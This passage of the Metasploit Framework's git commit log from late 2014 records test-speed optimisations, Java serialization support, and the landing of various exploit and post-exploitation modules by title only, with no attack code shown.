49.44 seconds to 37.65 seconds (-23.83%). (-80.73% change from
22c56f525335d45623c7708ccc53561e516ae8a0.) Raw data:
https://docs.google.com/spreadsheets/d/1vCRi_38Go3Wfq670eDCXMTSSXL1blSbk6NQsgpOqfYw/edit?usp=sharing .
2014-12-04 11:39:41 -06:00
Luke Imhoff
ec63f655c8
"no database connection" --execute-command
...
MSP-11671
Call `msfconsole` with `--execute-command db_status --execute_command
exit` instead of running interactively and typing `db_status` and `exit`
to change the average (n=10) run time of `/usr/bin/time rake
CUCUMBER_OPTS="-r features"
FEATURE=features/msfconsole/database_yml.feature:134 cucumber:boot` from 195.38
seconds to 49.44 seconds (-74.70%).
2014-12-04 11:26:49 -06:00
Luke Imhoff
22c56f5253
Without --yaml, MSF_DATABASE_CONFIG or ~/.msf4/database.yml, project "database.yml" wins --defer-module-loads
...
MSP-11671
Run `msfconsole` with `--defer-module-loads` to change average (n=10)
runtime of `/usr/bin/time rake CUCUMBER_OPTS="-r features"
FEATURE=features/msfconsole/database_yml.feature:115 cucumber:boot` from
51.42 seconds to 37.76 seconds (-26.57%). (Change of -72.98% since
f950f3094de718f5294a84fb7e0a78390818ba4d.) Raw data:
https://docs.google.com/spreadsheets/d/1vCRi_38Go3Wfq670eDCXMTSSXL1blSbk6NQsgpOqfYw/edit?usp=sharing .
2014-12-04 09:48:07 -06:00
Luke Imhoff
7a347accd8
Without --yaml, MSF_DATABASE_CONFIG or ~/.msf4/database.yml, project "database.yml" wins --execute-command
...
MSP-11671
Run msfconsole with `--execute-command exit` instead of running
interactly and typing `exit`. Changes average (n=10) running time for
`/usr/bin/time rake CUCUMBER_OPTS="-r features"
FEATURE=features/msfconsole/database_yml.feature:115 cucumber:boot` from 139.76
seconds to 51.42 seconds (-63.21%).
2014-12-04 09:33:53 -06:00
wez3
7c62fa5c95
Add Windows post module for reading/searching Outlook e-mail #8
2014-12-04 14:28:40 +01:00
tate
3aecd3a10e
added DLSw v1 and v2 check, added check for \x00 in leak segment
2014-12-03 23:27:11 -07:00
jvazquez-r7
6d623456a4
Add specs for java array streams
2014-12-04 00:07:56 -06:00
Jon Hart
d8b1401545
Test fix for #4306
2014-12-03 19:54:31 -08:00
jvazquez-r7
08fe467452
Add Stream specs
2014-12-03 19:31:46 -06:00
jvazquez-r7
2c8f66bba2
Add support for Reset
2014-12-03 18:50:56 -06:00
jvazquez-r7
fb246ac943
Add support for (de)serialization of contents
2014-12-03 18:50:31 -06:00
jvazquez-r7
3e8b8390dd
Add support for Java Streams
2014-12-03 17:59:00 -06:00
jvazquez-r7
6cb6252914
Add YARD documentation for NewObject
2014-12-03 17:34:12 -06:00
jvazquez-r7
d0fcbf2cdb
Add support for simple Objects really
2014-12-03 17:22:23 -06:00
jvazquez-r7
2b91d5013e
Add support for simple Objects
2014-12-03 17:21:11 -06:00
Tod Beardsley
1a4f2eb8e4
Restore the hallowed developer's guide
...
See #4286 , @tdoan-r7 and @wchen-r7's comments on why that should stay
(for now).
2014-12-03 16:50:18 -06:00
Tod Beardsley
4aa0785076
Also .gitignore the source directory for metakitty
2014-12-03 16:12:30 -06:00
James Lee
8f2e444aca
Land #4281 , ::Queue workarounds for 2.1.x
...
Conflicts:
lib/msf/core/handler/reverse_tcp.rb
2014-12-03 15:48:20 -06:00
Luke Imhoff
f950f3094d
"Without --yaml or MSF_DATABASE_CONFIG, ~/.msf4/database.yml wins" --defer-module-loads
...
MSP-11671
Pass `--defer-module-loads` to `msfconsole` to change average (n=10)
runtime for `/usr/bin/time rake CUCUMBER_OPTS="-r features"
FEATURE=features/msfconsole/database_yml.feature:88 cucumber:boot` from
51.79 seconds to 39.25 seconds (-24.40%). (-71.74% from
e9a69a844cd2f2f7ad24386dd3adf7ccbd18d2b3.) Raw data:
https://docs.google.com/spreadsheets/d/1vCRi_38Go3Wfq670eDCXMTSSXL1blSbk6NQsgpOqfYw/edit?usp=sharing .
2014-12-03 15:44:04 -06:00
Luke Imhoff
186abd5e05
"Without --yaml or MSF_DATABASE_CONFIG, ~/.msf4/database.yml wins" --execute-command
...
MSP-11671
Run `msfconsole` with `--execute-command exit` instead of interactively
and typing exit. Average (n=10) runtime changes from 138.91 seconds to
51.79 seconds (-62.72%). Raw data:
https://docs.google.com/spreadsheets/d/1vCRi_38Go3Wfq670eDCXMTSSXL1blSbk6NQsgpOqfYw/edit?usp=sharing .
2014-12-03 15:30:41 -06:00
jvazquez-r7
fbea369043
Check nils before encoding
2014-12-03 15:06:28 -06:00
jvazquez-r7
0560cc2fe9
Fix typos
2014-12-03 14:59:38 -06:00
jvazquez-r7
268157d42f
Add support for Java Enums
2014-12-03 14:50:03 -06:00
jvazquez-r7
f0139d6aad
Fix some docu typos
2014-12-03 14:34:17 -06:00
Luke Imhoff
e9a69a844c
"Without --yaml, MSF_DATABASE_CONFIG wins" --defer-module-loads
...
MSP-11671
Add `--defer-module-loads` when running `msfconsole`. Changes average
(n=10) runtime from 52.96 seconds to 38.98 seconds (-26.39%) (-71.92%
compared to 69b170a7df ).
2014-12-03 14:26:58 -06:00
sinn3r
8bf50bb4fb
Land #4213 - IE8 support for MS13-080
2014-12-03 14:13:47 -06:00
sinn3r
2fcbcc0c26
Resolve merge conflict for ie_setmousecapture_uaf ( #4213 )
...
Conflicts:
modules/exploits/windows/browser/ie_setmousecapture_uaf.rb
2014-12-03 14:12:15 -06:00
Luke Imhoff
8b88d7bce7
"Without --yaml, MSF_DATABASE_CONFIG wins" --execute-command
...
MSP-11671
Pass `--execute-command exit` to `msfconsole` instead of running it
interactively and typing `exit`. Average (n=10) runtime for `rake
CUCUMBER_OPTS="-r features"
FEATURE=features/msfconsole/database_yml.feature:54 cucumber:boot`
change from 138.84 seconds to 52.96 seconds (-61.85%).
2014-12-03 14:12:12 -06:00
jvazquez-r7
0cd51553ed
Raise error on unsupported ClassDesc
2014-12-03 14:00:10 -06:00
Tod Beardsley
2c9018ac0e
Travis shouldnt test gh-pages and friends
...
This adds a blacklist of branches that Travis shouldn't run tests
against.
2014-12-03 13:58:06 -06:00
jvazquez-r7
6deb88af6b
Add support for arrays
2014-12-03 13:55:12 -06:00
Jon Hart
fee712bf23
Land #4300 , @wchen-r7's fix for #3886
2014-12-03 10:58:50 -08:00
Luke Imhoff
69b170a7df
"With all 4 locations, --yaml wins" --defer-module-loads
...
MSP-11671
Add --defer-module-loads to msfconsole run to reduce average (n=10)
running time from 51.78 seconds to 40.38 seconds (-22.02% change). This
is a -71.55% change since 4eb9a7563a . Raw
data:
https://docs.google.com/spreadsheets/d/1vCRi_38Go3Wfq670eDCXMTSSXL1blSbk6NQsgpOqfYw/edit?usp=sharing .
2014-12-03 12:54:21 -06:00
Luke Imhoff
0e1e5125c6
"With all 4 locations, --yaml wins" --execute-command
...
MSP-11671
Use `--execute-command` instead of interactly running msfconsole and
typing `exit`. Changes the average runtime for `rake CUCUMBER_OPTS="-r
features" FEATURE=features/msfconsole/database_yml.feature:13
cucumber:boot` from 141.93 seconds (n=10) to 51.78 seconds (n=10) for a
-63.52% change. Raw data:
https://docs.google.com/spreadsheets/d/1vCRi_38Go3Wfq670eDCXMTSSXL1blSbk6NQsgpOqfYw/edit?usp=sharing .
2014-12-03 12:38:43 -06:00
wez3
3cadcb942a
Add Windows post module for reading/searching Outlook e-mail #7
2014-12-03 18:30:22 +01:00
Luke Imhoff
4eb9a7563a
Use -x when testing help
...
MSP-11671
Instead of interactively typing `help` and `exit` use `-x` to run the
commands, which changes the average (n=10) time for `rake cucumber` from
153.29 seconds to an average (n=10) of 32.21 for a -78.99% change from
the last commit and a -80.47% change from the beginning of this branch
(3c3792330c ). Raw data:
https://docs.google.com/spreadsheets/d/1vCRi_38Go3Wfq670eDCXMTSSXL1blSbk6NQsgpOqfYw/edit?usp=sharing
2014-12-03 10:23:03 -06:00
Luke Imhoff
73844ebdd9
--defer-module-loads when testing help
...
MSP-11671
Changed runtime of `rake cucumber` from average (n=10) of 164.90 seconds to
average (n=10) of 153.29 seconds for a -7.04% decrease. Raw data:
https://docs.google.com/spreadsheets/d/1vCRi_38Go3Wfq670eDCXMTSSXL1blSbk6NQsgpOqfYw/edit?usp=sharing
2014-12-03 08:44:13 -06:00
jvazquez-r7
b9023e8fcc
Split ClassDescription into ClassDesc and NewClassDesc
2014-12-03 00:38:27 -06:00
jvazquez-r7
41c4db2b3b
Delete ClassDescription spec
2014-12-03 00:07:40 -06:00
jvazquez-r7
db45f4c620
Delete ClassDescription
2014-12-02 23:56:55 -06:00
jvazquez-r7
1f535a41ca
Move types to the Serialization module
2014-12-02 20:02:42 -06:00
dmaloney-r7
947a64dc2d
Merge pull request #4299 from techpeace/bump-metasploit-credential
...
Bump metasploit-credential version
2014-12-02 18:01:21 -06:00
jvazquez-r7
2c070c450b
Add support for ClassDescription
2014-12-02 17:31:53 -06:00
sinn3r
f6f0050f56
Fix #3886 - Backtrace for #check when session is invalid
...
If the user supplies an invalid session (as in not on the session
list), it will cause a backtrace, because the setup method from
Msf::PostMixin isn't actually called.
We have thought about implementing this in a new OptSession instead.
But you can't use or even pass framework to option_container.rb, so
this is NOT possible.
The original PR was #3956 .
2014-12-02 17:22:46 -06:00
Matt Buck
a84ee27aef
Bump metasploit-credential version
2014-12-02 17:13:25 -06:00
Luke Imhoff
3c3792330c
Fix RUBYOPT to be debugger compatible
...
MSP-11671
RUBYOPT needs to be appended to so that debugger is always first.
2014-12-02 15:31:57 -06:00
jvazquez-r7
e9e584e107
Raise exceptions when unserialization isn't possible
2014-12-02 15:31:31 -06:00
Fernando Arias
fb439258b9
Land #4298 , arbitrary Ruby extension for replicant
...
MSP-11673
* Adds Msf::Module#register_extensions
* Extensions are arbitrary Ruby modules
* Allows overriding of psuedo callbacks
2014-12-02 14:59:37 -06:00
William Vu
3a978e1147
Land #4280 , frontpage_login improvements
2014-12-02 14:56:57 -06:00
Luke Imhoff
f696a5ab0e
msfconsole --defer-module-loads
...
MSP-11671
Add command line option --defer-module-loads to msfconsole. It will
stop `Msf::Ui::Console::Driver` from calling
`framework.modules.init_module_paths` AND
`framework.modules.refresh_cache_from_database`. This flag is only
meant to speed up msfconsole boot when modules do not need to accessed,
such as during cucumber testing of command help or command line options.
2014-12-02 14:41:32 -06:00
sinn3r
a631ee65f6
Fix #4293 - Use OperatingSystems::Match::WINDOWS
...
Fix #4293 . Modules should use OperatingSystems::Match::WINDOWS
instead of Msf::OperatingSystems::WINDOWS, because the second
won't match anything anymore.
2014-12-02 13:46:27 -06:00
Trevor Rosen
2a033861dc
Just use constants directly
...
MSP-11673
2014-12-02 13:12:53 -06:00
Trevor Rosen
784e138b14
Extend replicants via arbitrary Ruby code
...
MSP-11673
* Implements a #register_extensions method on Msf::Module
* Any registered Ruby modules will extend the cloned module returned by #replicant
2014-12-02 12:18:30 -06:00
William Vu
5086632fbb
Land #4289 , Travis/Cucumber boot test fix
2014-12-02 12:06:56 -06:00
HD Moore
b29e53984e
Merge master with merge of PR #4225
2014-12-02 11:58:30 -06:00
Luke Imhoff
35ff82c9d8
Merge branch 'bug/MSP-11672/double-init-module-paths' into feature/MSP-11671/msfconsole-defer-module-loads
...
MSP-11671
2014-12-02 11:57:47 -06:00
HD Moore
fc96d011ab
Python reverse_http stager, lands #4225
2014-12-02 11:47:31 -06:00
HD Moore
7fe72fd118
Cosmetic tweaks for #4225
2014-12-02 11:47:14 -06:00
jvazquez-r7
622a18bc22
Add support for annotations
2014-12-02 11:42:41 -06:00
Tod Beardsley
40220564a7
Land #4292 , remove os_flavor usage.
2014-12-02 11:37:34 -06:00
Luke Imhoff
9272fe90ae
Merge branch 'master' into bug/MSP-11672/double-init-module-paths
...
MSP-11672
2014-12-02 11:23:51 -06:00
jvazquez-r7
a68540cfa2
Add support for Data Block Long
2014-12-02 10:49:15 -06:00
jvazquez-r7
9c5d7e66d4
Add block data support
2014-12-02 10:46:29 -06:00
Luke Imhoff
90c6764426
init_module_paths once in msfconsole
...
MSP-11672
Pass `'DeferModuleLoads' => false` to `Msf::Simple::Framework.create` so
that `framework.modules.init_module_paths` is only called once (directly
in `Msf::Ui::Console::Driver#initialize`) instead of twice (in
`Msf::Simple::Framework.create` and `Msf::Ui::Console::Driver#initialize).
2014-12-02 10:28:23 -06:00
Luke Imhoff
653c71e029
Fail if init_module_paths called more than once
...
MSP-11672
Calling init_module_paths takes 6 seconds on my machine even when there are no
files to that are changed just because it takes that long to walk the
directories and gather the mtime for each file. Therefore, calling it
more than once should be avoided. Also, there is no reason to call it
twice as to add paths later, `modules.add_module_paths` should be used.
2014-12-02 10:17:09 -06:00
jvazquez-r7
8923b87def
Don't redefine the static decode method
2014-12-02 09:02:24 -06:00
wez3
611e8c72eb
Add Windows post module for reading/searching Outlook e-mail #6
2014-12-02 14:05:08 +01:00
William Vu
bd3d63a155
Land #4270 , Msf::Author cleanup and improvements
2014-12-02 01:26:42 -06:00
sinn3r
a88ee0911a
Fix os detection
...
See #3373
2014-12-02 01:15:55 -06:00
sinn3r
a42c7a81e7
Fix os detection
...
See #4283
2014-12-02 01:13:51 -06:00
headlesszeke
564488acb4
Changed and to &&
2014-12-02 00:02:53 -06:00
headlesszeke
280e10db55
Add module for Arris VAP2500 Remote Command Execution
2014-12-01 23:07:56 -06:00
jvazquez-r7
ef2bf5b935
Add support for long-utf
2014-12-01 19:50:33 -06:00
jvazquez-r7
705cd4c308
Add initial requiring file
2014-12-01 19:08:16 -06:00
jvazquez-r7
5f11c70d7f
Add initial support for Java serialization
2014-12-01 19:07:45 -06:00
Luke Imhoff
7e2b197f02
Document Msf::Simple::Framework.create
...
MSP-11671
2014-12-01 15:38:48 -06:00
Luke Imhoff
57cabb4f10
Document Msf::Simple::Framework.simplify
...
MSP-11671
2014-12-01 15:36:38 -06:00
Tod Beardsley
f64e43427a
Comment out boot cucumber tests
...
This is in response to the slowness noticed over the last few days and
unrelated changes causing travis failures. For example:
https://github.com/rapid7/metasploit-framework/pull/4252#issuecomment-64923343
2014-12-01 12:24:06 -06:00
William Vu
394d132d33
Land #2756 , tincd post-auth BOF exploit
2014-12-01 12:13:37 -06:00
Tod Beardsley
4c880629c3
Squashed commit of the following:
...
commit 7f659547b3b5d8de34a1e4b136b5e899ae7878da
Author: Tod Beardsley <todb@metasploit.com >
Date: Mon Dec 1 07:54:53 2014 -0600
Add a pointer to true and correct docs
See #4000 . Seems kind of pointless to ship all these bytes when we host
everything on GitHub and provide tools to generate docs yourself.
commit 01668c8529454ffb0438aadef62eafb5045503ce
Author: Tod Beardsley <todb@metasploit.com >
Date: Mon Dec 1 07:39:11 2014 -0600
Remove old documentation
The last significant commit in this directory was a844b5c3 , which
touched a sample browser module. Before that, changes were either
ranging across the codebase, or surgical removal of out of date
documentation.
This all is looking to me like fairly useless historical artifacts.
See #4000 for more discussion.
2014-12-01 11:57:43 -06:00
jvazquez-r7
0ab2e99419
Delete version from title
2014-12-01 10:24:12 -06:00
jvazquez-r7
d1e8b160c7
Land #4271 , @espreto's module for CVE-2014-7816 WildFly's Traversal
...
* Issue in the web server JBoss Undertow
2014-12-01 10:22:47 -06:00
jvazquez-r7
f4e20284a4
Change mixin include order
2014-12-01 10:22:20 -06:00
jvazquez-r7
d85aabfed9
Use vprint by default
2014-12-01 10:20:12 -06:00
jvazquez-r7
e0cb0f7966
Fix description
2014-12-01 10:19:14 -06:00
jvazquez-r7
fa07b466d6
Use single quote and minor cosmetic changes
2014-12-01 09:57:29 -06:00
jvazquez-r7
d5888a7f6f
Fix module options
2014-12-01 09:55:36 -06:00
jvazquez-r7
47acf3487d
Do minor cleanup
...
* Prepend peer
* Use print_good when file downloaded
2014-12-01 09:53:00 -06:00
Tod Beardsley
35ff550849
Land #4285 , typo fix for MS14-064 module
...
Fixes #4284
2014-12-01 07:25:01 -06:00
Pedro Ribeiro
15cb3fb804
Merge pull request #11 from jvazquez-r7/review_4282
...
Clean CVE-2014-5445 module
2014-12-01 07:49:59 +00:00
sinn3r
0f973fdf2b
Fix #4284 - Typo "neline" causing the exploit to break
...
"neline" isn't supposed to be there at all.
2014-12-01 01:24:30 -06:00
Tim
5c50a07c0f
futex_requeue
2014-12-01 03:49:22 +00:00
jvazquez-r7
7a2c9c4c0d
Land #4263 , @jvennix-r7's OSX Mavericks root privilege escalation
...
* Msf module for the Ian Beer exploit
2014-11-30 21:13:07 -06:00
jvazquez-r7
b357fd88a7
Add comment
2014-11-30 21:08:38 -06:00
jvazquez-r7
0ab99549bd
Change ranking
2014-11-30 21:08:12 -06:00
jvazquez-r7
7772da5e3f
Change paths, add makefile and compile
2014-11-30 21:06:11 -06:00
Roberto Soares Espreto
e4b3ee2811
Changed the module name.
2014-12-01 01:00:14 -02:00
Roberto Soares Espreto
ecbce679a8
Remove timeout on line 59.
2014-12-01 00:51:12 -02:00
Roberto Soares Espreto
f3957ea428
FILEPATH changed from false to true.
2014-12-01 00:48:47 -02:00
Roberto Soares Espreto
97ee975235
Deleted checking on line 48.
2014-12-01 00:46:58 -02:00
jvazquez-r7
b6306ef7a2
Move C source to exploits folder
2014-11-30 20:42:53 -06:00
jvazquez-r7
d7d1b72bce
Rename local_variables
2014-11-30 20:40:55 -06:00
Roberto Soares Espreto
84ce573227
Deleted line 61 which returns the server status code.
2014-12-01 00:39:05 -02:00
jvazquez-r7
d77c02fe43
Delete unnecessary metadata
2014-11-30 20:37:34 -06:00
sinn3r
c681654c10
Land #4252 - Rework meterpreter SSL & pass datastore to handle_connection()
2014-11-30 20:15:53 -06:00
jvazquez-r7
ff30a272f3
Windows paths need 2 backslashes
2014-11-30 18:54:41 -06:00
jvazquez-r7
223bc340e4
Prepend peer
2014-11-30 18:46:15 -06:00
jvazquez-r7
5ad3cc6296
Make FILEPATH mandatory
2014-11-30 18:45:23 -06:00
jvazquez-r7
b1b10cf4e5
Use Rex::ConnectionError
2014-11-30 18:44:25 -06:00
jvazquez-r7
a549cbbef8
Beautify metadata
2014-11-30 18:44:03 -06:00
Jonathan Claudius
93d97568d1
Merge pull request #1 from jvazquez-r7/update_3305
...
Make Cisco SSL VPN Privilege Escalation landable
2014-11-30 10:57:54 -05:00
Deral Heiland
0887127264
Fixed several recommended changes by jvazquez-r7 and jlee-r7
2014-11-30 00:53:24 -05:00
Pedro Ribeiro
26d9ef4edd
Explain about Windows back slashes on option
2014-11-30 00:15:44 +00:00
Pedro Ribeiro
2fb38ec7bb
Create exploit for CVE-2014-5445
2014-11-30 00:12:37 +00:00
Pedro Ribeiro
eb33ece4fd
Merge pull request #10 from rapid7/master
...
bla
2014-11-30 00:11:19 +00:00
Meatballs
65b9aa16e5
Land #4233 , Fix PowerDump hash corruption
2014-11-28 23:03:45 +00:00
Meatballs
f5f32fac06
Add token fiddling from nishang
2014-11-28 23:02:59 +00:00
HD Moore
f139795663
Rework queue handling and error reporting, close #4249
2014-11-28 14:56:02 -06:00
Tiago Sintra
6f6274735f
Update frontpage_login.rb
...
Vhost is now used if specified.
Added X-Vermeer-Content-Type header, which seems to be required for the RPC service otherwise server responds with:
method=
status=
status=262147
osstatus=0
msg=No "CONTENT_TYPE" on CGI environment.
osmsg=
2014-11-28 17:21:47 +00:00
sinn3r
f7f4a191c1
Land #4255 - CVE-2014-6332 Internet Explorer
2014-11-28 10:12:27 -06:00
sinn3r
2a7d4ed963
Touchup
2014-11-28 10:12:05 -06:00
Peter Marszalik
7ea3cd1b61
Merge pull request #1 from Meatballs1/pr4233_powerdump
...
Pr4233 powerdump
2014-11-28 00:31:32 -06:00
OJ
48904c2d63
Land #4277 - vmware-mount configurable directory
2014-11-28 08:05:42 +10:00
Rasta Mouse
985838e999
Suggestions from OJ
2014-11-27 21:38:50 +00:00
Meatballs
3e0f909707
Remove debug file writes
2014-11-27 21:34:00 +00:00
Meatballs
94fa6a309c
Fix strip_whitespace speccing
2014-11-27 21:30:08 +00:00
Meatballs
48a5123607
Merge remote-tracking branch 'upstream/master' into pr4233_powerdump
2014-11-27 20:08:11 +00:00
HD Moore
10a05a393c
Add format_all_drives payload, lands #4268
2014-11-27 11:44:44 -06:00
HackSys Team
4a4608adbc
Add format_all_drives shellcode for Windows x86_x64
2014-11-27 23:06:54 +05:30
Rasta Mouse
25ecf73d7d
Add configurable directory, rather than relying on the session working
...
directory.
2014-11-27 17:12:37 +00:00
HackSys Team
8473ed144a
Add format_all_drives shellcode for Windows x86_x64
2014-11-27 14:13:49 +05:30
HD Moore
335d1ef287
Only cache auto-generated certificates
2014-11-26 21:23:08 -06:00
Roberto Soares Espreto
d75ffc36da
Changed the description of FILEPATH
2014-11-27 00:50:34 -02:00
Roberto Soares Espreto
f8dc366f42
Add CVE-2014-7816 Directory Traversal for WildFly 8 Application
2014-11-27 00:13:29 -02:00
Joe Vennix
99b87c2e97
Fix nonsensical spec.
2014-11-26 13:57:44 -06:00
Joe Vennix
2bd7a67413
Restructure parts of Author, fix some doc bugs.
2014-11-26 13:54:23 -06:00
Tod Beardsley
c0be32eac1
Land #4264 , reload_all should complain
2014-11-26 11:23:41 -06:00
peregrino
84bb5b5215
Rex::Socket.to_sockaddr changed
2014-11-26 17:51:38 +01:00
peregrino
16b64ff42a
Rex::Socket.to_sockaddr changed
2014-11-26 17:51:05 +01:00
Joe Vennix
cc33566ca8
Land #4265 , @shuckins-r7 fix for RPORT error on UDP sweep.
2014-11-26 10:27:15 -06:00
Samuel Huckins
2aeedb160d
Merge pull request #1 from jhart-r7/landing-4265-jhart
...
This is a great intermediate approach, thanks @jhart-r7 ! Will verify Pro and msfconsole cases momentarily.
2014-11-26 09:50:32 -06:00
Jon Hart
79b2b5e231
RPORT is required by UDPScanner; deregister instead
2014-11-26 07:39:14 -08:00
HackSys Team
f5633ba3c3
Add format_all_drives shellcode for Windows x86_x64
2014-11-26 20:29:25 +05:30
peregrino
16a9450d43
session.tunnel_peer changed by session.session_host. Other minor changes
2014-11-26 12:08:54 +01:00
William Vu
3a99f7f31a
Land #4267 , CheckCode fix for vmware_mount
2014-11-26 01:00:04 -06:00
OJ
75e5553cd4
Change to in exploit
2014-11-26 16:53:30 +10:00
jvazquez-r7
9524efa383
Fix banner
2014-11-25 23:14:20 -06:00
jvazquez-r7
c82acfe6b9
Land #2985 , @pyoor's exploit for Pandora FMS Sql Injection
2014-11-25 23:13:02 -06:00
jvazquez-r7
16ed90db88
Delete return keyword
2014-11-25 23:11:53 -06:00
jvazquez-r7
85926e1a07
Improve check
2014-11-25 23:11:32 -06:00
jvazquez-r7
5a2d2914a9
Fail on upload errors
2014-11-25 22:48:57 -06:00
jvazquez-r7
b24e641e97
Modify exploit logic
2014-11-25 22:11:43 -06:00
jvazquez-r7
4bbadc44d6
Use Msf::Exploit::FileDropper
2014-11-25 22:00:42 -06:00
jvazquez-r7
7fbd5b63b1
Delete the Rex::MIME::Message gsub
2014-11-25 21:54:50 -06:00
jvazquez-r7
eaa41e9a94
Added reference
2014-11-25 21:37:04 -06:00
jvazquez-r7
2c207597dc
Use single quotes
2014-11-25 18:30:25 -06:00
jvazquez-r7
674ceeed40
Do minor cleanup
2014-11-25 18:26:41 -06:00
Borja Merino
78733fcd20
Merge pull request #6 from jvazquez-r7/review_4187
...
Do minor cosmetic cleanup for post-exploitation module to get FW filtering rules
2014-11-26 01:09:15 +01:00
jvazquez-r7
6ceb47619a
Change module filename
2014-11-25 18:09:15 -06:00
jvazquez-r7
1305d56901
Update from upstream master
2014-11-25 18:07:13 -06:00
jvazquez-r7
5615d65aee
Do minor cleanup
2014-11-25 17:35:07 -06:00
jvazquez-r7
d4e5cd25e1
Report credentials for new login level 15
2014-11-25 16:35:16 -06:00
jvazquez-r7
dc253efa19
Use Rex::Text.rand_text*
2014-11-25 16:35:06 -06:00
jvazquez-r7
f20afff1a8
Do return instead of abort
2014-11-25 16:34:57 -06:00
jvazquez-r7
d876efaa0f
Delete ssh_socket attribute
2014-11-25 16:34:47 -06:00
jvazquez-r7
5091bc76ad
Do minor cleanup
2014-11-25 16:34:22 -06:00
jvazquez-r7
c92a26e967
Update from upstream master
2014-11-25 16:30:45 -06:00
Samuel Huckins
58cc8c989f
Dropping errant RPORT required option for UDP
...
MSP-11652
2014-11-25 16:16:54 -06:00
Tod Beardsley
448b6a1cd9
Land #4256 after a rebase
...
Oops'ed the push.
2014-11-25 14:22:19 -06:00
Luke Imhoff
48356d1003
Up aruba timeout for simplecov overhead
...
MSP-11647
Doubling the timeout is arbitrary, but travis-ci's limit for no output
is 10 minutes, so it can't go much higher.
2014-11-25 14:13:41 -06:00
Luke Imhoff
81d160c685
Add simplecov to cucumber env
...
MSP-11647
Port simplecov setup from metasploit-version so that child processes, in
this case msfconsole, will load simplecov and report coverage back to
the parent process. Coverage from msfconsole's cucumber features is the
only way to get coverage on portions of the command dispatcher commands.
2014-11-25 14:13:40 -06:00
jvazquez-r7
60a1ec24e9
Land #4261 , @nullbind's MSSQL Domain Users enumeration through web sqli
2014-11-25 14:08:57 -06:00
jvazquez-r7
5f4760c58e
Print final results in a table
2014-11-25 14:01:29 -06:00
jvazquez-r7
d998d97aaa
Refactor build_user_sid
2014-11-25 13:58:47 -06:00
jvazquez-r7
aad860a310
Make conditional easier
2014-11-25 13:54:08 -06:00
jvazquez-r7
ba57bc55b0
Don't report service
2014-11-25 13:52:22 -06:00
jvazquez-r7
059b0e91da
Don't report service
...
* The mssql could be in a third host, not rhost
2014-11-25 13:50:42 -06:00
jvazquez-r7
b467bda2d6
Reuse local variable
2014-11-25 13:49:24 -06:00
Trevor Rosen
6e9666c68f
Land #4231 , more explicit instructs on commit msgs
...
Explicitly reminds people to be wary of default (merge) messages from
Git when landing PRs on Metasploit.
2014-11-25 13:44:59 -06:00
jvazquez-r7
31a84ef6ff
Make ternary operator more readable
2014-11-25 13:44:50 -06:00
jvazquez-r7
be566e5ad3
Use a lower fuzz number by default
2014-11-25 13:42:47 -06:00
jvazquez-r7
cd43f83cd7
Delete unnecessary comments
...
* No need to comment every step, just relevant
comments to undrestad code.
2014-11-25 13:40:57 -06:00
jvazquez-r7
f93dbc6deb
Use the target domain name
2014-11-25 13:36:48 -06:00
Trevor Rosen
31184c67b4
Land #4223 , specs for DB console command output
...
Wrap specs around current behavior of the DB command dispatcher,
in order to make upcoming refactor painless.
MSP-11622 #land
2014-11-25 13:30:08 -06:00
jvazquez-r7
7c87603b0e
Add progress information
2014-11-25 13:23:36 -06:00
jvazquez-r7
8e5b37ea6e
Fix reporting
2014-11-25 13:20:31 -06:00
William Vu
a34e721353
Check for load errors in reload_all
2014-11-25 13:13:40 -06:00
jvazquez-r7
93539ae4c6
Use shorter variable name
2014-11-25 13:04:31 -06:00
jvazquez-r7
271f982f34
Use peer
2014-11-25 13:03:48 -06:00
jvazquez-r7
c549508abb
Use vprint
2014-11-25 13:03:18 -06:00
jvazquez-r7
249fb79a21
Fix print_* calls
2014-11-25 13:02:53 -06:00
jvazquez-r7
87cfd7c321
Dont use disconnect
2014-11-25 13:00:53 -06:00
jvazquez-r7
fb8372f505
Fix metadata
2014-11-25 12:59:11 -06:00
jvazquez-r7
71f35f5cd6
Update from upstream master
2014-11-25 12:46:44 -06:00
Joe Vennix
3a5de9970f
Update description, rename xnu_ver -> osx_ver.
2014-11-25 12:38:29 -06:00
Joe Vennix
7a3fb12124
Add an OSX privilege escalation from Google's Project Zero.
2014-11-25 12:34:16 -06:00
Peter Marszalik
830af7f95e
identified instances of tabs vs spaces in the original
...
identified 16 instances in the original code where tab was used vs spaces. updated to keep consistent.
2014-11-25 12:17:43 -06:00
Trevor Rosen
9eda84e7d8
Land #4206 , fail Travis on schema.rb mismatch
...
Ensure that the TravisCI build will fail if db/schema.rb is changed
after `rake db:migrate` is run.
MSP-11616 #land
2014-11-25 10:15:01 -06:00
nullbind
4bd579bc1c
added mssql_enum_domain_accounts_sqli
2014-11-25 09:57:20 -06:00
Jon Hart
c0dab54925
Add minor missing doc
2014-11-25 07:37:49 -08:00
wez3
5294594379
dd Windows post module for reading/searching Outlook e-mail #5 Add DE
2014-11-25 14:36:14 +01:00
William Vu
64f2b45ef4
Land #4258 , release fixes
2014-11-24 21:44:14 -06:00
jvazquez-r7
508ca28155
Land #3404 , @ringt's wordlist builder from windows AD
2014-11-24 20:34:48 -06:00
jvazquez-r7
71669b9f9e
Change module filename
2014-11-24 20:34:12 -06:00
jvazquez-r7
5c4b1b0283
Output some information
2014-11-24 20:31:26 -06:00
jvazquez-r7
6e9cd331b3
Modify description
2014-11-24 20:28:38 -06:00
jvazquez-r7
261da9306e
Use store_loot
2014-11-24 20:22:21 -06:00
jvazquez-r7
cf52dd895f
Refactor search
2014-11-24 20:20:37 -06:00
jvazquez-r7
2fa5223d3b
move check out of the begin block
2014-11-24 19:28:53 -06:00
jvazquez-r7
90bdc770b5
Use literal creation notation
2014-11-24 19:27:50 -06:00
jvazquez-r7
2c4caeed29
Clean metadata
2014-11-24 19:26:12 -06:00
jvazquez-r7
443dd7b6c0
Use constants
2014-11-24 19:04:02 -06:00
jvazquez-r7
250250beb0
Fix indentation
2014-11-24 18:58:07 -06:00
jvazquez-r7
88ccffacb4
Update from upstream master
2014-11-24 18:32:35 -06:00
Jon Hart
bedf7ed44b
Doc cleanup
2014-11-24 14:34:20 -08:00
Jon Hart
0ed356f71c
Move Kademlia stuff to a more OO model, etc, per reviews
...
All of the work is done in rex. The msf mixin just prevents the
desire to call rex directly from the module
2014-11-24 14:03:43 -08:00
Tod Beardsley
bd948eb346
Normalize author name
...
From #4061 , please don't decorate author names with URLs.
2014-11-24 13:03:42 -06:00
jvazquez-r7
84e6db7e85
Land #4221 , @nullbind's mssql auxiliary module
...
* Enumerate Windows domain accounts through MSSQL
2014-11-24 12:30:10 -06:00
jvazquez-r7
343a0d78bc
Delete admin check
